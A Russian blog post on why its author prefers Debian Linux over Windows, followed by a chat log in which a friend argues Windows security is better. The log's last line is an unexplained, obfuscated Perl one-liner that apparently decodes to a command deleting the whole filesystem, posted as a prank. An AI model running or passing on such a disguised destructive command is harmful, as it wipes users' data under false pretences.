Часто приходится отвечать на вопрос - Почему же ты используешь линукс?
Ответ прост, но не всем понятен - Потому что я не использую windows.
Попробую рассказать, что значит в моём понимании данное утверждение.

1. Microsoft Windows

Тут, надо сказать, мне просто повезло - да, я застал версию 3.11, но Windows 95 - нет. Вместо этого попался линукс (Linux), который хоть как то работал на старом железе. К более поздним продуктам Microsoft, будь то Win98, WinXP, или Виста (Vista), я отношусь спокойно: они не вызывают у меня ни бурного интереса (а как оно работает?), ни негатива, ни позитива. Иногда я, правда, негодую по какому-то пустяку, когда возникают непредвиденные мною ситуации при настройке Windows у друзей, знакомых, но такая же реакция возникает при конфигурировани линукса, так что аргументом за или против это служить, на мой взгляд, не может.
К офисному пакету от майкрософт я отношусь положительно, кроме закрытости его форматов.

Вернёмся к линукс

2. Linux

Для тех, кто не знает, скажу, что это - операционная система (ядро, драйвера, графический рабочий стол и много-много программ). Я использую линукс потому, что мне так привычнее. Я знаю как и что в нем настроить, если что-то не работает или работает неправильно (такое бывает, а если учесть, что я люблю всяческие эксперименты, то часто) и, самое главное, - открытость. Можно просто прочитать в текстовом редакторе текст той программы, которая у тебя запущена. Для более опытных - это возможность исправить, улучшить програмный код. Это позволяет развиваться быстрее. Более того, на уровне лицензии запрещено закрывать код своих наработок. Подчеркну, есть платные версии бинарной сборки линукса, есть бесплатные, но, в любом случае, вам будут предоставлены её исходные тексты бесплатно. Все их можно нетрудно найти в публичном доступе в интернете.

3. Какие премущества вижу я непосредственно в использовании линукса

Мне гораздо легче заботиться о безопасности в той системе, в которой правильно построена модель безопасности. Хоть линукс и далёк от совершенства в этом плане, сравнивать защиту с защитой в аналогичной системе Windows XP, с её богатейшим засилием всяческих вирусов, распространяющихся без ведома пользователя...
Меня привлекает возможность сконфигурировать то, что я желаю так, как я этого хочу. Чаще всего это достигается добавлением/удалением/изменением пары строк в текстовом(!) конфигурационном файле.
Да, я привык к красивому оформлению, пользуюсь рабочим столом KDE4 с Compiz-Fusion.
Также комфортно работаю в fluxbox, обычно когда за ноутбуком с энергосбережением или при другой экономии ресурсов. Так что можно насладиться и могуществом десктопа (я не видел удобного и практичного подобия на Windows, если есть - покажите) и простотой во втором случае.
В силу моей работы, основное моё средство общения с компьютером - коммандная строка, если точнее - /bin/bash.

За многие годы пересмотрел разные дистрибутивы линукс. Для себя остановился на Debian GNU Linux. Здесь есть всё: есть что понастраивать (без доработки не всё удобно), есть удобная система пакетов и большой их выбор, есть уважаемая мной стабильность в работе - я доволен.

Вы знаете чем Windows лучше Linux?
Я скажу так - Каждому - своё, но я выбираю linux.

----
О да, статья - заказная

----
Ещё апдейт, перенесу обсужднеие сюда

немного из переписки

 
======> bevice
22:51 :
вот про безопастность ты зря
<====== Ckopnuo
22:52 :
почему?
22:52 :
точнее поясни
======> bevice
22:52 :
NT и линукс (как впрочем и любой юникс-лейк) в плане безопастности даже сравнивать низя
22:52 :
венда как ни странно опережает лет на 15
<====== Ckopnuo
22:53 :
смотря что под этим понимать
======> bevice
22:53 :
как что
22:53 :
систему безопастности ос
<====== Ckopnuo
22:53 :
мне как пользователю пк винда не безопаснее
======> bevice
22:54 :
неправильно вопрос поставлен
<====== Ckopnuo
22:56 :
да там вопросов то особо нет
======> bevice
22:56 :
я про конкретно безопастность говорю
22:57 :
у венды на данный момент лучшая реализация безопастности
<====== Ckopnuo
22:57 :
не созласен
======> bevice

22:57 :
то, что тока щас начинаетца в линуксах (selinux, apparmor) в венде было в середине 9х
<====== Ckopnuo
22:58 :
иде многоуровневая лучше
22:58 :
а реализация у них неочень
======> bevice
22:58 :
90х
22:58 :
и идея и реализация - лучшая
22:59 :
MS тратит на проектировщиков огромные деньги. И не зря
======> bevice
23:01 :
Конешн например в той же XP 90% всех технологий проявляется только в Professsion и только в AD, но это уже другая сторона доллара
<====== Ckopnuo
23:01 :
ну я своё мнение высказал)
======> bevice
23:01 :
не, просто в плане безопастности венды - оно мягко говоря не объективное
<====== Ckopnuo
23:02 :
а оно и есть бубъективное -я же не машина
23:02 :
субъективное
======> bevice
23:02 :
не, ну смотри
23:03 :
если я буду говорить что юникслейки - сплошная дырка т.к. rm -rf /
23:03 :
это же будет по меньшей мере некорректно
<====== Ckopnuo
23:03 :
предлагаю перенести обсуждение в каменты )
======> bevice
23:04 :
мм
<====== Ckopnuo
23:04 :
если в жж нет пиши на сайте
23:04 :
а чем rm -rf плох
23:05 :
я как раз за
======> bevice
23:05 :
в жж есть http://bevice.livejournal.com
<====== Ckopnuo
23:05 :
ок
23:05 :
куда удобнее
======> bevice
23:05 :
а тем что можно случайно удалить систему
23:05 :
это же дырь в безопастности
<====== Ckopnuo
23:06 :
ты хоть раз удалял? или у тебя удаляли...?
======> bevice
23:07 :
cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'